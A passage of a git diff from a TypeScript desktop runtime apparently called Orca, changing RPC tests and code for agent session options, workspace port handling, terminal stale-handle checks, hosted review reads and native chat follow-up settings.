a/src/main/runtime/rpc/methods/structured-agent-session-wire-contracts.test.ts +++ b/src/main/runtime/rpc/methods/structured-agent-session-wire-contracts.test.ts @@ -226,7 +226,7 @@ describe('options without a selected model across client versions', () => { } it.each(['runtime', 'mobile'] as const)( - 'refuses the captured model-less report for an older %s client', + 'labels the captured model-less report for an older %s client', async (clientKind) => { hostCalls.readOptions.mockResolvedValue(missingModelReport()) const reply = await call( @@ -238,10 +238,12 @@ describe('options without a selected model across client versions', () => { } ) expect(reply).toMatchObject({ - ok: false, - error: { message: 'structured_agent_session_unsupported' } + ok: true, + result: { + current: { model: '' }, + models: [{ id: '', label: 'Model not reported', isDefault: false, efforts: [] }] + } }) - expect(reply).not.toHaveProperty('result') expect(hostCalls.readOptions).toHaveBeenCalledTimes(1) } ) @@ -308,7 +310,8 @@ describe('options without a selected model across client versions', () => { expect( await call('agentSession.options', { sessionId: SESSION }, STRUCTURED_CLIENT) ).toMatchObject({ - ok: false + ok: true, + result: { current: { model: '' } } }) const report = { models: [], current: { model: 'later-model', effort: 'off' } } hostCalls.readOptions.mockResolvedValueOnce(report) diff --git a/src/main/runtime/rpc/methods/workspace-ports.test.ts b/src/main/runtime/rpc/methods/workspace-ports.test.ts deleted file mode 100644 index e5f0be51937..00000000000 --- a/src/main/runtime/rpc/methods/workspace-ports.test.ts +++ /dev/null @@ -1,119 +0,0 @@ -import '../unused-default-rpc-methods.test-fixture' -import { describe, expect, it, vi } from 'vitest' -import { RpcDispatcher } from '../dispatcher' -import type { RpcRequest } from '../core' -import type { OrcaRuntimeService } from '../../orca-runtime' -import { WORKSPACE_PORT_METHODS } from './workspace-ports' -import type { WorkspacePortScanResult } from '../../../../shared/workspace-ports' - -function hostScopedRuntime( - methods: Partial> -): OrcaRuntimeService { - // oxlint-disable-next-line typescript/consistent-type-assertions -- SAFETY: dispatch reaches only the runtime id and the one host-scoped method each test stubs. - return { getRuntimeId: () => 'test-runtime', ...methods } as unknown as OrcaRuntimeService -} - -function makeRequest(method: string, params?: unknown): RpcRequest { - return { id: 'req-1', authToken: 'tok', method, params } -} - -describe('workspace port RPC methods', () => { - it('scans workspace ports on the runtime host', async () => { - const scan: WorkspacePortScanResult = { - platform: process.platform, - scannedAt: 123, - ports: [] - } - const runtime = { - getRuntimeId: () => 'test-runtime', - scanWorkspacePorts: vi.fn().mockResolvedValue(scan) - } as unknown as OrcaRuntimeService - const dispatcher = new RpcDispatcher({ runtime, methods: WORKSPACE_PORT_METHODS }) - - const response = await dispatcher.dispatch( - makeRequest('workspacePorts.scan', { repoId: 'repo-1' }) - ) - - expect(runtime.scanWorkspacePorts).toHaveBeenCalledWith('repo-1') - expect(response).toMatchObject({ ok: true, result: scan }) - }) - - it('kills a workspace-owned port on the runtime host', async () => { - const runtime = { - getRuntimeId: () => 'test-runtime', - killWorkspacePort: vi.fn().mockResolvedValue({ ok: true }) - } as unknown as OrcaRuntimeService - const dispatcher = new RpcDispatcher({ runtime, methods: WORKSPACE_PORT_METHODS }) - - const response = await dispatcher.dispatch( - makeRequest('workspacePorts.kill', { - repoId: 'repo-1', - pid: 1234, - port: 5173 - }) - ) - - expect(runtime.killWorkspacePort).toHaveBeenCalledWith({ - repoId: 'repo-1', - pid: 1234, - port: 5173 - }) - expect(response).toMatchObject({ ok: true, result: { ok: true } }) - }) - - it('scans the host a workspace resolves to and returns that host with the rows', async () => { - const scan = { - executionHostId: 'ssh:box', - platform: 'linux', - scannedAt: 1, - ports: [] - } - const runtime = hostScopedRuntime({ - scanWorkspacePortsOnHost: vi.fn().mockResolvedValue(scan) - }) - const dispatcher = new RpcDispatcher({ runtime, methods: WORKSPACE_PORT_METHODS }) - - const response = await dispatcher.dispatch( - makeRequest('workspacePorts.scanHost', { worktree: 'id:repo-1::/srv/app' }) - ) - - expect(runtime.scanWorkspacePortsOnHost).toHaveBeenCalledWith('id:repo-1::/srv/app') - expect(response).toMatchObject({ ok: true, result: scan }) - }) - - it('binds a host-scoped Stop to the workspace and the host its row was scanned on', async () => { - const runtime = hostScopedRuntime({ - killWorkspacePortOnHost: vi.fn().mockResolvedValue({ ok: true }) - }) - const dispatcher = new RpcDispatcher({ runtime, methods: WORKSPACE_PORT_METHODS }) - - const response = await dispatcher.dispatch( - makeRequest('workspacePorts.killHost', { - worktree: 'id:repo-1::/srv/app', - executionHostId: 'local', - pid: 1234, - port: 5173 - }) - ) - - expect(runtime.killWorkspacePortOnHost).toHaveBeenCalledWith({ - worktree: 'id:repo-1::/srv/app', - executionHostId: 'local', - pid: 1234, - port: 5173 - }) - expect(response).toMatchObject({ ok: true, result: { ok: true } }) - }) - - it('refuses a host-scoped Stop that names no host', async () => { - const runtime = hostScopedRuntime({ killWorkspacePortOnHost: vi.fn() }) - const dispatcher = new RpcDispatcher({ runtime, methods: WORKSPACE_PORT_METHODS }) - - const response = await dispatcher.dispatch( - makeRequest('workspacePorts.killHost', { worktree: 'id:w', pid: 1, port: 2 }) - ) - - expect(response).toMatchObject({ ok: false }) - expect(runtime.killWorkspacePortOnHost).not.toHaveBeenCalled() - }) -}) diff --git a/src/main/runtime/rpc/orchestration-caller-show.test.ts b/src/main/runtime/rpc/orchestration-caller-show.test.ts index b038200e04a..51a74a5aec6 100644 --- a/src/main/runtime/rpc/orchestration-caller-show.test.ts +++ b/src/main/runtime/rpc/orchestration-caller-show.test.ts @@ -120,14 +120,6 @@ describe('orchestration.callerShow: a session learns its Orca session ID from th expect(response).toMatchObject({ ok: false, error: { code: CODES.hostBoundary } }) }) - it('answers null for a terminal agent, whose status stays as it was', async () => { - const response = await h.dispatch( - callerShow({ evidence: { terminalHandle: 'term_live', paneKey: 'tab_1:leaf_1' } }) - ) - - expect(resultOf(response)).toEqual({ caller: null }) - }) - it('gives the menu the Orca session ID each session of a cleared chat acts as', async () => { const cleared = sessionRecord(SESSION_X) h.records.set(SESSION_X, { @@ -152,18 +144,4 @@ describe('orchestration.callerShow: a session learns its Orca session ID from th expect(acting.caller).toMatchObject({ orcaSessionId: shown.orcaSessionId }) } }) - - it('refuses an id that is not an Orca session ID', async () => { - const response = await h.dispatch( - orchestrationRequest('orchestration.sessionAddress', { sessionId: 'not an id' }) - ) - - expect(response).toMatchObject({ ok: false, error: { code: CODES.unknown } }) - }) - - it('answers null for a caller whose environment carries no identity', async () => { - const response = await h.dispatch(callerShow({})) - - expect(resultOf(response)).toEqual({ caller: null }) - }) }) diff --git a/src/main/runtime/rpc/orchestration-mutation-receipt.ts b/src/main/runtime/rpc/orchestration-mutation-receipt.ts index 1d94723550b..12dd317a600 100644 --- a/src/main/runtime/rpc/orchestration-mutation-receipt.ts +++ b/src/main/runtime/rpc/orchestration-mutation-receipt.ts @@ -194,7 +194,8 @@ export function getPendingWorkerStartRecovery( method: string, receipt: string | null ): { dispatchId: string } | undefined { - if (method !== 'orchestration.workerStart' || !receipt) { + // A send to a finished worker accepts a follow-up worker-start the same way. + if ((method !== 'orchestration.workerStart' && method !== 'orchestration.send') || !receipt) { return undefined } try { diff --git a/src/main/runtime/rpc/orchestration-mutation-request-show.test.ts b/src/main/runtime/rpc/orchestration-mutation-request-show.test.ts index 763b3093696..51efe3de13f 100644 --- a/src/main/runtime/rpc/orchestration-mutation-request-show.test.ts +++ b/src/main/runtime/rpc/orchestration-mutation-request-show.test.ts @@ -142,16 +142,6 @@ describe('orchestration.requestShow', () => { await runningMutation }) - it('reports an unknown request as absent without claiming nothing happened', async () => { - const { dispatcher } = createHarness() - - const response = await dispatcher.dispatch(showRequest('mutation_missing')) - - const result = (response as { result: { state: string; interpretation: string } }).result - expect(result.state).toBe('absent') - expect(result.interpretation).toContain('not proof that nothing happened') - }) - it('scopes receipts to the caller identity that recorded them', async () => { const { dispatcher } = createHarness() await dispatcher.dispatch(sendRequest('mutation_scoped')) diff --git a/src/main/runtime/rpc/terminal-geometry-stale-handle.test.ts b/src/main/runtime/rpc/terminal-geometry-stale-handle.test.ts deleted file mode 100644 index d05194477ab..00000000000 --- a/src/main/runtime/rpc/terminal-geometry-stale-handle.test.ts +++ /dev/null @@ -1,213 +0,0 @@ -import './unused-default-rpc-methods.test-fixture' -import { describe, expect, it, vi } from 'vitest' -import { RpcDispatcher } from './dispatcher' -import type { RpcRequest } from './core' -import type { OrcaRuntimeService } from '../orca-runtime' -import { TERMINAL_METHODS } from './methods/terminal' - -// Geometry RPCs must use resolveLiveLeafForHandle: an unguarded stale handle resolves the replacement PTY and corrupts its display (#7718). - -// Model stale resolution: unguarded lookup returns replacement pty-b; guarded lookup refuses. -const NEW_PTY_UNDER_PANE = 'pty-b' - -function stubStaleHandleRuntime(overrides: Partial = {}): OrcaRuntimeService { - return { - getRuntimeId: () => 'test-runtime', - resolveLeafForHandle: vi.fn().mockReturnValue({ ptyId: NEW_PTY_UNDER_PANE }), - resolveLiveLeafForHandle: vi.fn(() => { - throw new Error('terminal_handle_stale') - }), - ...overrides - } as unknown as OrcaRuntimeService -} - -function makeRequest(method: string, params?: unknown): RpcRequest { - return { id: 'req-1', authToken: 'tok', method, params } -} - -async function expectStale(method: string, params: unknown, mutators: string[]): Promise { - const spies: Record> = {} - for (const name of mutators) { - spies[name] = vi.fn() - } - const runtime = stubStaleHandleRuntime(spies as Partial) - const dispatcher = new RpcDispatcher({ runtime, methods: TERMINAL_METHODS }) - - const response = await dispatcher.dispatch(makeRequest(method, params)) - - expect(response.ok).toBe(false) - if (response.ok) { - throw new Error(`expected ${method} to reject a stale handle`) - } - expect(response.error.message).toContain('terminal_handle_stale') - for (const name of mutators) { - expect(spies[name]).not.toHaveBeenCalled() - } -} - -describe('terminal geometry family rejects stale handles instead of mutating the wrong PTY', () => { - it('terminal.resizeForClient fails with terminal_handle_stale', async () => { - await expectStale( - 'terminal.resizeForClient', - { terminal: 'stale-terminal', mode: 'restore', clientId: 'client-1' }, - ['resizeForClient'] - ) - }) - - it('terminal.setDisplayMode fails with terminal_handle_stale', async () => { - await expectStale( - 'terminal.setDisplayMode', - { - terminal: 'stale-terminal', - mode: 'auto', - client: { id: 'client-1', type: 'mobile' }, - viewport: { cols: 80, rows: 24 } - }, - [ - 'setMobileDisplayMode', - 'applyMobileDisplayMode', - 'updateMobileSubscriberViewport', - 'markMobileActor' - ] - ) - }) - - it('terminal.restoreFit fails with terminal_handle_stale', async () => { - await expectStale('terminal.restoreFit', { terminal: 'stale-terminal' }, [ - 'reclaimTerminalForDesktop' - ]) - }) - - it('terminal.updateViewport fails with terminal_handle_stale', async () => { - await expectStale( - 'terminal.updateViewport', - { - terminal: 'stale-terminal', - client: { id: 'client-1', type: 'mobile' }, - viewport: { cols: 80, rows: 24 } - }, - ['updateMobileViewport', 'updateDesktopViewport'] - ) - }) -}) - -describe('terminal geometry family still mutates the live PTY for a fresh handle', () => { - it('terminal.restoreFit reclaims the resolved PTY when the handle is live', async () => { - const reclaimTerminalForDesktop = vi.fn().mockResolvedValue(true) - const runtime = { - getRuntimeId: () => 'test-runtime', - resolveLiveLeafForHandle: vi.fn().mockReturnValue({ ptyId: 'pty-a' }), - reclaimTerminalForDesktop - } as unknown as OrcaRuntimeService - const dispatcher = new RpcDispatcher({ runtime, methods: TERMINAL_METHODS }) - - const response = await dispatcher.dispatch( - makeRequest('terminal.restoreFit', { terminal: 'live-terminal' }) - ) - - expect(response.ok).toBe(true) - if (!response.ok) { - throw new Error(response.error.message) - } - expect(response.result).toEqual({ restored: true }) - expect(reclaimTerminalForDesktop).toHaveBeenCalledWith('pty-a') - }) - - it('terminal.resizeForClient resizes the resolved PTY when the handle is live', async () => { - const resizeForClient = vi.fn().mockResolvedValue({ cols: 80, rows: 24 }) - const runtime = { - getRuntimeId: () => 'test-runtime', - resolveLiveLeafForHandle: vi.fn().mockReturnValue({ ptyId: 'pty-a' }), - resizeForClient - } as unknown as OrcaRuntimeService - const dispatcher = new RpcDispatcher({ runtime, methods: TERMINAL_METHODS }) - - const response = await dispatcher.dispatch( - makeRequest('terminal.resizeForClient', { - terminal: 'live-terminal', - mode: 'restore', - clientId: 'client-1' - }) - ) - - expect(response.ok).toBe(true) - if (!response.ok) { - throw new Error(response.error.message) - } - expect(resizeForClient).toHaveBeenCalledWith( - 'pty-a', - 'restore', - 'client-1', - undefined, - undefined - ) - }) - - it('terminal.setDisplayMode mutates the resolved PTY when the handle is live', async () => { - const setMobileDisplayMode = vi.fn() - const applyMobileDisplayMode = vi.fn().mockResolvedValue(undefined) - const updateMobileSubscriberViewport = vi.fn() - const markMobileActor = vi.fn() - const runtime = { - getRuntimeId: () => 'test-runtime', - resolveLiveLeafForHandle: vi.fn().mockReturnValue({ ptyId: 'pty-a' }), - setMobileDisplayMode, - applyMobileDisplayMode, - updateMobileSubscriberViewport, - markMobileActor, - getLayout: vi.fn().mockReturnValue({ seq: 42 }) - } as unknown as OrcaRuntimeService - const dispatcher = new RpcDispatcher({ runtime, methods: TERMINAL_METHODS }) - - const response = await dispatcher.dispatch( - makeRequest('terminal.setDisplayMode', { - terminal: 'live-terminal', - mode: 'auto', - client: { id: 'client-1', type: 'mobile' }, - viewport: { cols: 80, rows: 24 } - }) - ) - - expect(response.ok).toBe(true) - if (!response.ok) { - throw new Error(response.error.message) - } - expect(updateMobileSubscriberViewport).toHaveBeenCalledWith('pty-a', 'client-1', { - cols: 80, - rows: 24 - }) - expect(markMobileActor).toHaveBeenCalledWith('pty-a', 'client-1') - expect(setMobileDisplayMode).toHaveBeenCalledWith('pty-a', 'auto') - expect(applyMobileDisplayMode).toHaveBeenCalledWith('pty-a') - expect(response.result).toEqual({ mode: 'auto', seq: 42 }) - }) - - it('terminal.updateViewport updates the resolved PTY when the handle is live', async () => { - const updateMobileViewport = vi.fn().mockResolvedValue({ updated: true, applied: true }) - const runtime = { - getRuntimeId: () => 'test-runtime', - resolveLiveLeafForHandle: vi.fn().mockReturnValue({ ptyId: 'pty-a' }), - updateMobileViewport, - getLayout: vi.fn().mockReturnValue({ seq: 7 }) - } as unknown as OrcaRuntimeService - const dispatcher = new RpcDispatcher({ runtime, methods: TERMINAL_METHODS }) - - const response = await dispatcher.dispatch( - makeRequest('terminal.updateViewport', { - terminal: 'live-terminal', - client: { id: 'client-1', type: 'mobile' }, - viewport: { cols: 80, rows: 24 } - }) - ) - - expect(response.ok).toBe(true) - if (!response.ok) { - throw new Error(response.error.message) - } - expect(updateMobileViewport).toHaveBeenCalledWith('pty-a', 'client-1', { - cols: 80, - rows: 24 - }) - expect(response.result).toEqual({ updated: true, applied: true, seq: 7 }) - }) -}) diff --git a/src/main/runtime/runtime-client-settings.ts b/src/main/runtime/runtime-client-settings.ts index 373486d95ff..afa5c1a5e73 100644 --- a/src/main/runtime/runtime-client-settings.ts +++ b/src/main/runtime/runtime-client-settings.ts @@ -21,6 +21,7 @@ import type { GlobalSettings } from '../../shared/global-settings-types' import { applyNativeChatSessionOptionSettingsMutation } from '../../shared/native-chat/input/native-chat-session-option-defaults' import type { NativeChatSessionOptionSettingsMutation } from '../../shared/native-chat/input/native-chat-session-options' import { getHostDisplayLabelOverrides } from '../../shared/host-setting-overrides' +import { nativeChatQueueFollowUps } from '../../shared/native-chat-follow-up-behavior' import type { TerminalQuickCommand } from '../../shared/terminal-quick-command-types' import { recordManagedHookInstallFailure } from '../agent-hooks/install-telemetry' import { applyAgentStatusHooksEnabled } from '../agent-hooks/managed-agent-hook-controls' @@ -112,8 +113,8 @@ export class RuntimeClientSettingsController { : { agentSkillSharingEnabled: isAgentSkillSharingEnabled(settings) }), machineName: settings.machineName ?? '', nativeChatPermissionMode: publishedLegacyChatPermissionMode(settings), - // Phone sends queue mid-turn only while this is on; absence from older hosts means on. - nativeChatQueueFollowUps: settings.nativeChatQueueFollowUps !== false, + // Mirror the host preference; delivery still depends on queue capability. + nativeChatQueueFollowUps: nativeChatQueueFollowUps(settings), // Why projected: a paired client's AI buttons start these actions' agents, and must honour // the agent saved for each one as the desktop does. Absent on older hosts. sourceControlAi: projectSourceControlLaunchRecipes(settings), diff --git a/src/main/runtime/runtime-folder-worktree-create.test.ts b/src/main/runtime/runtime-folder-worktree-create.test.ts deleted file mode 100644 index 4401b79edd9..00000000000 --- a/src/main/runtime/runtime-folder-worktree-create.test.ts +++ /dev/null @@ -1,125 +0,0 @@ -/** The startup terminal a folder workspace's create spawns; this path forwards a reserved pane itself. */ - -import { describe, expect, it, vi } from 'vitest' -import type { Repo } from '../../shared/repo-types' -import { createRuntimeFolderWorktree } from './runtime-folder-worktree-create' -import type { HostWorktreeTarget } from '../../shared/worktree/host-qualified-identity' - -type CreateArgs = Parameters[0] - -const repo: Repo = { - id: 'repo-1', - path: '/folder', - displayName: 'folder', - badgeColor: 'blue', - addedAt: 1 -} - -function createDeps() { - const createTerminal = vi - .fn() - .mockResolvedValue({ handle: 'term-1', worktreeId: 'folder-1', title: null }) - const store = { - getSettings: () => ({ workspaceDir: '/ws', nestWorkspaces: false }), - setWorktreeMeta: (_target: HostWorktreeTarget, meta: Record) => meta, - getProjectHostSetups: () => [] - } - const deps: CreateArgs['deps'] = { - // oxlint-disable-next-line typescript/consistent-type-assertions -- SAFETY: the create reads only these three store methods; any other would throw on call rather than read a wrong value. - store: store as unknown as CreateArgs['deps']['store'], - ptySpawnAvailable: true, - createTerminal, - pasteDraft: vi.fn(), - sendFollowup: vi.fn(), - invalidateResolvedWorktrees: vi.fn(), - notifyWorktreesChanged: vi.fn(), - emitCreated: vi.fn(), - activate: vi.fn() - } - return { createTerminal, deps } -} - -const TAB_ID = '9b1deb4d-3b7d-4bad-9bdd-2b0d7b3dcb6d' -const LEAF_ID = '3f2504e0-4f89-41d3-9a0c-0305e82c3301' - -async function startupTerminalOptions(startupPaneKey?: string): Promise> { - const { createTerminal, deps } = createDeps() - const observe = vi.fn() - const followup = { agent: 'codex' as const, prompt: 'task' } - const terminal = { - handle: 'term-1', - worktreeId: 'folder-1', - title: null, - ptyId: 'pty-startup', - incarnationId: 'inc-startup', - agentSessionDisposition: 'adopted' as const - } - createTerminal.mockResolvedValueOnce(terminal) - await createRuntimeFolderWorktree({ - request: { - onStartupTerminalCreated: observe, - repoSelector: `id:${repo.id}`, - name: 'task', - ...(startupPaneKey ? { startupPaneKey } : {}) - }, - repo, - createdWithAgent: 'codex', - startup: { command: 'codex' }, - startupFollowup: followup, - deps - }) - expect(observe).toHaveBeenCalledExactlyOnceWith(terminal) - expect(deps.sendFollowup).toHaveBeenCalledExactlyOnceWith(terminal.handle, followup, terminal) - return createTerminal.mock.calls[0]?.[1] ?? {} -} - -describe('a folder workspace create with a startup agent', () => { - it('registers a folder launch before announcing its workspace', async () => { - const { deps } = createDeps() - const order: string[] = [] - vi.mocked(deps.notifyWorktreesChanged).mockImplementation(() => order.push('notify')) - const result = await createRuntimeFolderWorktree({ - request: { repoSelector: `id:${repo.id}`, name: 'chat', activate: true }, - repo, - promisedAgentChat: true, - onWorkspaceCreated: (id) => order.push(`register:${id}`), - deps - }) - expect(order).toEqual([`register:${result.worktree.id}`, 'notify']) - }) - - it('only promises a chat when the caller explicitly plans one', async () => { - const { deps } = createDeps() - await createRuntimeFolderWorktree({ - request: { repoSelector: `id:${repo.id}`, name: 'attributed', activate: true }, - repo, - createdWithAgent: 'codex', - deps - }) - expect(deps.activate).toHaveBeenCalledWith(repo.id, expect.any(String), undefined, undefined) - }) - - it('seeds a headless activated folder workspace without a paired viewer', async () => { - const { deps, createTerminal } = createDeps() - deps.provisionInBackground = () => true - const result = await createRuntimeFolderWorktree({ - request: { repoSelector: `id:${repo.id}`, name: 'headless', activate: true }, - repo, - deps - }) - expect(createTerminal).toHaveBeenCalledWith(`id:${result.worktree.id}`, { surfaceOwner: false }) - }) - - it('creates the startup terminal under the pane the caller reserved', async () => { - expect(await startupTerminalOptions(`${TAB_ID}:${LEAF_ID}`)).toMatchObject({ - tabId: TAB_ID, - leafId: LEAF_ID - }) - }) - - it('leaves the pane to the runtime when none was reserved', async () => { - const options = await startupTerminalOptions() - expect(options).not.toHaveProperty('tabId') - expect(options).not.toHaveProperty('leafId') - }) -}) diff --git a/src/main/runtime/runtime-hosted-review-commands.ts b/src/main/runtime/runtime-hosted-review-commands.ts index 72746c4fc5b..7d2d0488f73 100644 --- a/src/main/runtime/runtime-hosted-review-commands.ts +++ b/src/main/runtime/runtime-hosted-review-commands.ts @@ -5,7 +5,7 @@ import type { CreateStackedHostedReviewResult, HostedReviewCreationEligibility, HostedReviewCreationEligibilityArgs, - HostedReviewInfo + HostedReviewForBranchReply } from '../../shared/hosted-review' import type { GitHubOwnerRepo } from '../../shared/github/pull-request-types' import type { @@ -21,7 +21,8 @@ import { } from '../github/client' import { admissionTierForRefreshReason } from '../github/pr-refresh-candidate-policy' import type { GitAdmissionTier } from '../git/command-runner/git-exec-options' -import { getHostedReviewForBranch } from '../source-control/hosted-review' +import { hostedReviewForBranchReply } from '../../shared/hosted-review' +import { readHostedReviewForBranch } from '../source-control/hosted-review' import { getStoredRepoExecutionHostId } from '../repo-execution-host' import { hostedReviewSshConnectionId } from '../source-control/hosted-review-execution-host' import { @@ -106,22 +107,25 @@ export class RuntimeHostedReviewCommands { currentHeadOid?: string | null active?: boolean force?: boolean + userRefresh?: boolean + reportReadOutcome?: boolean linkedGitHubPR?: number | null fallbackGitHubPR?: number | null linkedGitLabMR?: number | null linkedBitbucketPR?: number | null linkedAzureDevOpsPR?: number | null linkedGiteaPR?: number | null - }): Promise { + }): Promise { const repo = await this.deps.resolveRepo(args.repoSelector) const executionOptions = this.deps.getExecutionOptions(repo, args.admissionTier ?? 'background') - const review = await getHostedReviewForBranch({ + const read = await readHostedReviewForBranch({ repoPath: repo.path, executionHostId: getStoredRepoExecutionHostId(repo), branch: args.branch, currentHeadOid: args.currentHeadOid ?? null, ...(args.active === true ? { active: true } : {}), ...(args.force === true ? { force: true } : {}), + ...(args.userRefresh === true ? { userRefresh: true } : {}), linkedGitHubPR: args.linkedGitHubPR ?? null, fallbackGitHubPR: args.linkedGitHubPR == null ? (args.fallbackGitHubPR ?? null) : null, linkedGitLabMR: args.linkedGitLabMR ?? null, @@ -130,10 +134,11 @@ export class RuntimeHostedReviewCommands { linkedGiteaPR: args.linkedGiteaPR ?? null, ...executionOptions }) + const review = read.review if (review?.provider === 'github') { this.deps.recordCreated(repo.id, review.number, review.url) } - return review + return hostedReviewForBranchReply(read, args.reportReadOutcome) } async getHostedReviewCreationEligibility( diff --git a/src/main/runtime/runtime-local-create-rearm-ordering.test.ts b/src/main/runtime/runtime-local-create-rearm-ordering.test.ts index 79ff1c47418..3941b428a68 100644 --- a/src/main/runtime/runtime-local-create-rearm-ordering.test.ts +++ b/src/main/runtime/runtime-local-create-rearm-ordering.test.ts @@ -123,23 +123,6 @@ describe('runtime local create prepared-pool re-arm ordering', () => { expect(calls.order).toEqual(['terminals', 'rearm']) }) - it('returns upstream warnings with other creation warnings', async () => { - createLocalMock.mockResolvedValueOnce({ - worktree, - worktreePath: worktree.path, - includeCopyWarning: 'Some files were skipped.', - created: { path: worktree.path, head: 'abc', branch: 'app' }, - addResult: { upstreamWarning: 'Check the push destination.' }, - metadataResult: { lineage: null, workspaceLineage: null, warnings: [] } - }) - const result = await makeRuntime().createManagedWorktree({ - repoSelector: 'repo-1', - name: 'app' - }) - expect(result.warning).toContain('Some files were skipped.') - expect(result.warning).toContain('Check the push destination.') - }) - it('still arms the pool when terminal launch fails', async () => { startTerminalsMock.mockRejectedValue(new Error('spawn failed')) const runtime = makeRuntime() diff --git a/src/main/runtime/runtime-managed-worktree-metadata-wsl-move.test.ts b/src/main/runtime/runtime-managed-worktree-metadata-wsl-move.test.ts index 5a43cac2976..10915c15d6d 100644 --- a/src/main/runtime/runtime-managed-worktree-metadata-wsl-move.test.ts +++ b/src/main/runtime/runtime-managed-worktree-metadata-wsl-move.test.ts @@ -126,18 +126,4 @@ describe('persistRuntimeManagedWorktreeSortOrder under a WSL move', () => { expect(store.getWorktreeMeta(MOVING)?.sortOrder).toBe(1) expect(store.getWorktreeMeta(STAYING)?.sortOrder).toBeGreaterThan(2) }) - - // A host-qualified read migrates a legacy row in place, which the move must keep frozen. - it('never reads the moving copy by host, even when the client names its host', () => { - store.setWorktreeMeta(hostWorktreeTarget({ id: STAYING, hostId: 'local' }), { sortOrder: 2 }) - const hostRead = vi.spyOn(store, 'getWorktreeMetaForHost') - persistRuntimeManagedWorktreeSortOrder({ - orderedIds: [MOVING, STAYING], - hostIds: ['local', 'local'], - store, - invalidateResolved: vi.fn(), - notifyChanged: vi.fn() - }) - expect(hostRead.mock.calls.map(([id]) => id)).not.toContain(MOVING) - }) }) diff --git a/src/main/runtime/runtime-native-chat-follow-up-events.test.ts b/src/main/runtime/runtime-native-chat-follow-up-events.test.ts new file mode 100644 index 00000000000..407bf730050 --- /dev/null +++ b/src/main/runtime/runtime-native-chat-follow-up-events.test.ts @@ -0,0 +1,71 @@ +import { expect, it, vi } from 'vitest' +import { getDefaultSettings } from '../../shared/constants' +import type { RuntimeStore } from './runtime-store-contract' +import { publishNativeChatFollowUpChanges } from './runtime-native-chat-follow-up-events' + +it('publishes only a change in the normalized host preference, including on a headless store', () => { + let settings = getDefaultSettings('/tmp') + let changed: Parameters>[0] | undefined + const emit = vi.fn() + publishNativeChatFollowUpChanges( + { + getSettings: () => settings, + onSettingsChanged: (listener) => { + changed = listener + return () => {} + } + }, + emit + ) + for (const count of [10, 100]) { + for (let index = 0; index < count; index++) { + changed?.({}, settings) + } + expect(emit).not.toHaveBeenCalled() + } + settings = { ...settings, nativeChatQueueFollowUps: false } + changed?.({ nativeChatQueueFollowUps: false }, settings) + expect(emit.mock.calls).toEqual([ + [{ type: 'nativeChatQueueFollowUpsChanged', queueFollowUps: false }] + ]) + changed?.({}, settings) + settings = { ...settings, nativeChatQueueFollowUps: true } + changed?.({}, settings) + expect(emit).toHaveBeenLastCalledWith({ + type: 'nativeChatQueueFollowUpsChanged', + queueFollowUps: true + }) + expect(emit).toHaveBeenCalledTimes(2) +}) + +it('client-events ready snapshots the same normalized setting after installing its event listener', async () => { + const { OrcaRuntimeService } = await import('./orca-runtime') + const { RuntimeClientSettingsController } = await import('./runtime-client-settings') + const { CLIENT_EVENT_METHODS } = await import('./rpc/methods/client-events') + const runtime = new OrcaRuntimeService() + const settings = getDefaultSettings('/tmp') + const controller = new RuntimeClientSettingsController({ + getSettings: () => ({ ...settings, nativeChatQueueFollowUps: false }), + updateSettings: () => {} + }) + const onEvent = vi.spyOn(runtime, 'onClientEvent') + vi.spyOn(runtime, 'getClientSettings').mockImplementation(() => { + expect(onEvent).toHaveBeenCalledTimes(1) + return controller.get() + }) + const ready = vi.fn() + const handler = CLIENT_EVENT_METHODS.find( + (method) => method.name === 'runtime.clientEvents.subscribe' + ) + if (!handler || !('stream' in handler)) { + throw new Error('missing client events method') + } + const pending = handler.handler(undefined, { runtime, connectionId: 'preference' }, ready) + const message = ready.mock.calls.find(([value]) => value.type === 'ready')?.[0] + expect(message).toMatchObject({ + type: 'ready', + snapshot: { nativeChatQueueFollowUps: false } + }) + runtime.cleanupSubscription(message.subscriptionId) + await pending +}) diff --git a/src/main/runtime/runtime-native-chat-follow-up-events.ts b/src/main/runtime/runtime-native-chat-follow-up-events.ts new file mode 100644 index 00000000000..878f5704a28 --- /dev/null +++ b/src/main/runtime/runtime-native-chat-follow-up-events.ts @@ -0,0 +1,20 @@ +import { nativeChatQueueFollowUps } from '../../shared/native-chat-follow-up-behavior' +import type { RuntimeClientEvent } from '../../shared/runtime-client-events' +import type { RuntimeStore } from './runtime-store-contract' + +export function publishNativeChatFollowUpChanges( + store: Pick | null, + emit: (event: RuntimeClientEvent) => void +): void { + if (!store?.getSettings || !store.onSettingsChanged) { + return + } + let previous = nativeChatQueueFollowUps(store.getSettings()) + store.onSettingsChanged((_updates, settings) => { + const queueFollowUps = nativeChatQueueFollowUps(settings) + if (queueFollowUps !== previous) { + previous = queueFollowUps + emit({ type: 'nativeChatQueueFollowUpsChanged', queueFollowUps }) + } + }) +} diff --git a/src/main/runtime/runtime-orchestration-db.test-fixture.ts b/src/main/runtime/runtime-orchestration-db.test-fixture.ts index ee8a518910b..3d32548ea20 100644 --- a/src/main/runtime/runtime-orchestration-db.test-fixture.ts +++ b/src/main/runtime/runtime-orchestration-db.test-fixture.ts @@ -39,6 +39,8 @@ export function dispatchContextRow(fields: Partial): Dispatc creator_handle: null, creator_pane_key: null, creator_orca_session_id: null, + follow_up_of_dispatch_id: null, + follow_up_mail_at: null, host_scope: null, status: 'dispatched', failure_count: 0, diff --git a/src/main/runtime/runtime-rpc-metadata-lifecycle.test.ts b/src/main/runtime/runtime-rpc-metadata-lifecycle.test.ts index 7c5fcbe784d..6d53872ff5c 100644 --- a/src/main/runtime/runtime-rpc-metadata-lifecycle.test.ts +++ b/src/main/runtime/runtime-rpc-metadata-lifecycle.test.ts @@ -209,27 +209,6 @@ describe('OrcaRuntimeRpcServer', () => { expect(pending).toBe(false) }) - it('leaves the last published metadata in place when a runtime stops', async () => { - const userDataPath = mkdtempSync(join(tmpdir(), 'orca-runtime-rpc-')) - const runtime = new OrcaRuntimeService() - const server = new OrcaRuntimeRpcServer({ - methods: [], - runtime, - userDataPath, - pid: 1001 - }) - - await server.start() - const metadata = readRuntimeMetadata(userDataPath) - expect(metadata?.pid).toBe(1001) - - await server.stop() - expect(readRuntimeMetadata(userDataPath)).toMatchObject({ - pid: 1001, - runtimeId: runtime.getRuntimeId() - }) - }) - it('closes the socket if metadata publication fails during startup', async () => { const userDataPath = mkdtempSync(join(tmpdir(), 'orca-runtime-rpc-')) const runtime = new OrcaRuntimeService() diff --git a/src/main/runtime/runtime-terminal-writer.test.ts b/src/main/runtime/runtime-terminal-writer.test.ts index 